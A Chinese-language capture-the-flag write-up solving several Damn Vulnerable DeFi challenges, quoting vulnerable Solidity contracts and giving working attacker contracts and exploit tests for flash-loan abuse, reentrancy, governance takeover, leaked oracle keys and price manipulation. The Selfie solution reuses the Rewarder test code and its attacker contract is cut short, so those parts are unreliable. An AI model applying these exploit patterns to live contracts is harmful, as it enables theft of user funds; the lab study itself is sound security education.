Damn-vulnerable-defi Writeup 环境:Node 12.20.0 npm 6.14.8
1 2 3 4 初始化: git clone https://gi thub.com/OpenZeppelin/ damn-vulnerable-defi.git cd damn-vulnerable-defi npm i
1 2 或许需要 npm install --save-dev @openzeppelin/test -environment
Unstoppable 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 function flashLoan(uint256 borrowAmount) external nonReentrant { require(borrowAmount > 0, "Must borrow at least one token"); uint256 balanceBefore = damnValuableToken.balanceOf(address(this)); require(balanceBefore >= borrowAmount, "Not enough tokens in pool"); // Ensured by the protocol via the `depositTokens` function assert(poolBalance == balanceBefore);// damnValuableToken.transfer(msg.sender, borrowAmount); IReceiver(msg.sender).receiveTokens(address(damnValuableToken), borrowAmount); uint256 balanceAfter = damnValuableToken.balanceOf(address(this)); require(balanceAfter >= balanceBefore, "Flash loan hasn't been paid back"); }
拒绝服务攻击
1 await this.token.transfer(this.pool.address, 1, { from: attacker} );
Native receiver 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 function flashLoan(address payable borrower, uint256 borrowAmount) external nonReentrant { uint256 balanceBefore = address(this).balance; require(balanceBefore >= borrowAmount, "Not enough ETH in pool"); require(address(borrower).isContract(), "Borrower must be a deployed contract"); // Transfer ETH and handle control to receiver (bool success, ) = borrower.call{value: borrowAmount}( abi.encodeWithSignature( "receiveEther(uint256)", FIXED_FEE ) ); require(success, "External call failed"); require( address(this).balance >= balanceBefore.add(FIXED_FEE), "Flash loan hasn't been paid back" ); } function receiveEther(uint256 fee) public payable { require(msg.sender == pool, "Sender must be pool"); uint256 amountToBeRepaid = msg.value.add(fee); require(address(this).balance >= amountToBeRepaid, "Cannot borrow that much"); _executeActionDuringFlashLoan(); // Return funds to pool pool.sendValue(amountToBeRepaid); }
很明显一次调用会减少FlashLoanReceier合约1ETH,我们直接借9个,加上一个手续费刚好清空
1 2 3 4 5 it('Exploit' , async function ( ) { while (await balance.current(this .receiver.address) > 0 ) { await this .pool.flashLoan(this .receiver.address, 9 ); } });
Truster 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 function flashLoan( uint256 borrowAmount, address borrower, address target, bytes calldata data ) external nonReentrant { uint256 balanceBefore = damnValuableToken.balanceOf(address(this)); require(balanceBefore >= borrowAmount, "Not enough tokens in pool"); damnValuableToken.transfer(borrower, borrowAmount); (bool success, ) = target.call(data); require(success, "External call failed"); uint256 balanceAfter = damnValuableToken.balanceOf(address(this)); require(balanceAfter >= balanceBefore, "Flash loan hasn't been paid back"); }
很明显,可以传入一个approve函数的调用,不能直接用transfer,因为后面balance检查。
data=0x095ea7b3 =)+attackeraddress+damnValuableToken.balanceOf(address(TrusterLenderPool))
1 2 3 4 5 6 7 8 9 10 it('Exploit' , async function ( ) { const web3Contract = this .token.contract; const txApprove = web3Contract.methods.approve(attacker, TOKENS_IN_POOL.toString()); const data = txApprove.encodeABI(); await this .pool.flashLoan(0 , attacker, this .token.address, data, { from : attacker }); await this .token.transferFrom(this .pool.address, attacker, TOKENS_IN_POOL, { from : attacker }); });
Side entrance 1 2 3 4 5 6 7 8 function flashLoan(uint256 amount) external { uint256 balanceBefore = address(this).balance; require(balanceBefore >= amount, "Not enough ETH in balance"); IFlashLoanEtherReceiver(msg.sender).execute{value: amount}(); require(address(this).balance >= balanceBefore, "Flash loan hasn't been paid back"); }
无法控制的外部调用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import "../side-entrance/SideEntranceLenderPool.sol"; contract AttackSideEntrance is IFlashLoanEtherReceiver { using Address for address payable; SideEntranceLenderPool pool; function attack(SideEntranceLenderPool _pool) public { pool = _pool; pool.flashLoan(address(_pool).balance); pool.withdraw(); msg.sender.sendValue(address(this).balance); } function execute() external payable override { pool.deposit{value:msg.value}(); } receive() external payable{} }
1 2 3 4 5 6 it('Exploit' , async function ( ) { const AttackSideEntrance = contract.fromArtifact('AttackSideEntrance' ); const attack = await AttackSideEntrance.new(); await attack.attack(this .pool.address, { from : attacker }); });
The-rewarder 要求获取全部利息
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 function deposit(uint256 amountToDeposit) external { require(amountToDeposit > 0, "Must deposit tokens"); accToken.mint(msg.sender, amountToDeposit); distributeRewards(); require( liquidityToken.transferFrom(msg.sender, address(this), amountToDeposit) ); } function withdraw(uint256 amountToWithdraw) external { accToken.burn(msg.sender, amountToWithdraw); require(liquidityToken.transfer(msg.sender, amountToWithdraw)); }
在distributeRewards()函数里面会进行奖励的计算,但是withdraw函数里面没有相应的清除,我们就可以通过闪电贷,存入再提取,归还闪电贷之后,提取奖励。因为精度的问题,我们可以通过贷取全部,使得其他人的奖励为零
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 pragma solidity ^0.6.0; import "../the-rewarder/FlashLoanerPool.sol"; import "../the-rewarder/TheRewarderPool.sol"; import "../the-rewarder/RewardToken.sol"; import "../the-rewarder/AccountingToken.sol"; contract AttackReward { DamnValuableToken public liquidityToken; RewardToken public rewardToken; FlashLoanerPool public flashLoanerPool; TheRewarderPool public theRewarderPool; constructor(address liquidityTokenAddress, address rewardTokenAddress, FlashLoanerPool _flashLoanerPool, TheRewarderPool _theRewarderPool) public { liquidityToken = DamnValuableToken(liquidityTokenAddress); rewardToken = RewardToken(rewardTokenAddress); flashLoanerPool = _flashLoanerPool; theRewarderPool = _theRewarderPool; } function attack(uint256 amount) public { flashLoanerPool.flashLoan(amount); rewardToken.transfer(msg.sender, rewardToken.balanceOf(address(this))); } function receiveFlashLoan(uint256 amount) public { liquidityToken.approve(address(theRewarderPool), amount); theRewarderPool.deposit(amount); theRewarderPool.withdraw(amount); liquidityToken.transfer(address(flashLoanerPool), amount); } }
1 2 3 4 5 6 7 const AttackReward = contract.fromArtifact('AttackReward' );it('Exploit' , async function ( ) { await time.increase(time.duration.days(5 )); const attack = await AttackReward.new(this .liquidityToken.address, this .rewardToken.address, this .flashLoanPool.address, this .rewarderPool.address, { from : attacker}); await attack.attack(TOKENS_IN_LENDER_POOL, { from : attacker }); });
Selfie 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 function drainAllFunds(address receiver) external onlyGovernance { uint256 amount = token.balanceOf(address(this)); token.transfer(receiver, amount); emit FundsDrained(receiver, amount); } function queueAction(address receiver, bytes calldata data, uint256 weiAmount) external returns (uint256) { require(_hasEnoughVotes(msg.sender), "Not enough votes to propose an action"); require(receiver != address(this), "Cannot queue actions that affect Governance"); uint256 actionId = actionCounter; GovernanceAction storage actionToQueue = actions[actionId]; actionToQueue.receiver = receiver; actionToQueue.weiAmount = weiAmount; actionToQueue.data = data; actionToQueue.proposedAt = block.timestamp; actionCounter++; emit ActionQueued(actionId, msg.sender); return actionId; } function executeAction(uint256 actionId) external payable { require(_canBeExecuted(actionId), "Cannot execute this action"); GovernanceAction storage actionToExecute = actions[actionId]; actionToExecute.executedAt = block.timestamp; (bool success,) = actionToExecute.receiver.call{ value: actionToExecute.weiAmount }(actionToExecute.data); require(success, "Action failed"); emit ActionExecuted(actionId, msg.sender); }
drainAllFunds函数被onlyGovernance修饰,在SimpleGovernance中的 executeAction函数存在call调用,同时
调用的地址,参数,我们可以通过queueAction设定。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 contract AttackSelfie { address public owner; ISelfiePool public pool; ISimpleGovernance public governance; uint256 public actionId; constructor(ISelfiePool _pool, ISimpleGovernance _governance) public { owner = msg.sender; pool = _pool; governance = _governance; } function attack0(uint256 amount) public { pool.flashLoan(amount); } function receiveTokens(address _token, uint256 _amount) public { DamnValuableTokenSnapshot token = DamnValuableTokenSnapshot(_token); token.snapshot(); bytes memory data = abi.encodeWithSignature( "drainAllFunds(address)", owner ); actionId = governance.queueAction(address(pool), data, 0); token.transfer(address(pool), _amount); }
1 2 3 4 5 6 7 8 it('Exploit' , async function ( ) { const AttackReward = contract.fromArtifact('AttackReward' ); await time.increase(time.duration.days(5 )); const attack = await AttackReward.new(this .liquidityToken.address, this .rewardToken.address, this .flashLoanPool.address, this .rewarderPool.address, { from : attacker});await attack.attack(TOKENS_IN_LENDER_POOL, { from : attacker });});
Compromised 私钥泄露问题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 it('Exploit' , async function ( ) { const leakedAccounts = ['0xc678ef1aa456da65c6fc5861d44892cdfac0c6c8c2560bf0c9fbcdae2f4735a9' , '0x208242c40acdfa9ed889e685c23547acbed9befc60371e9875fbcd736340bb48' ].map(pk => web3.eth.accounts.privateKeyToAccount(pk)); for (let account of leakedAccounts) { await web3.eth.personal.importRawKey(account.privateKey, '' ); web3.eth.personal.unlockAccount(account.address, '' , 999999 ); await this .oracle.postPrice('DVNFT' , 0 , { from : account.address }); } await this .exchange.buyOne({ from : attacker, value : 1 }); const exchangeBalance = await balance.current(this .exchange.address); await this .oracle.postPrice("DVNFT" , exchangeBalance, { from : leakedAccounts[0 ].address}); await this .oracle.postPrice("DVNFT" , exchangeBalance, { from : leakedAccounts[1 ].address}); await this .token.approve(this .exchange.address, 1 , { from : attacker }); await this .exchange.sellOne(1 , { from : attacker }) });
Puppet 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 function borrow(uint256 borrowAmount) public payable nonReentrant { uint256 amountToDeposit = msg.value; uint256 tokenPriceInWei = computeOraclePrice(); uint256 depositRequired = borrowAmount.mul(tokenPriceInWei) * 2; require(amountToDeposit >= depositRequired, "Not depositing enough collateral"); if (amountToDeposit > depositRequired) { uint256 amountToReturn = amountToDeposit - depositRequired; amountToDeposit -= amountToReturn; msg.sender.sendValue(amountToReturn); } deposits[msg.sender] += amountToDeposit; // Fails if the pool doesn't have enough tokens in liquidity require(token.transfer(msg.sender, borrowAmount), "Transfer failed"); } function computeOraclePrice() public view returns (uint256) { return uniswapOracle.balance.div(token.balanceOf(uniswapOracle)); }
先除再乘,因为solidity里面没有小数
1 2 3 4 5 6 it('Exploit' , async function ( ) { const deadline = (await web3.eth.getBlock('latest' )).timestamp + 300 ; await this .token.approve(this .uniswapExchange.address, ether('0.01' ), { from : attacker }); await this .uniswapExchange.tokenToEthSwapInput(ether('0.01' ), 1 , deadline, { from : attacker }); await this .lendingPool.borrow(POOL_INITIAL_TOKEN_BALANCE, { from : attacker }); });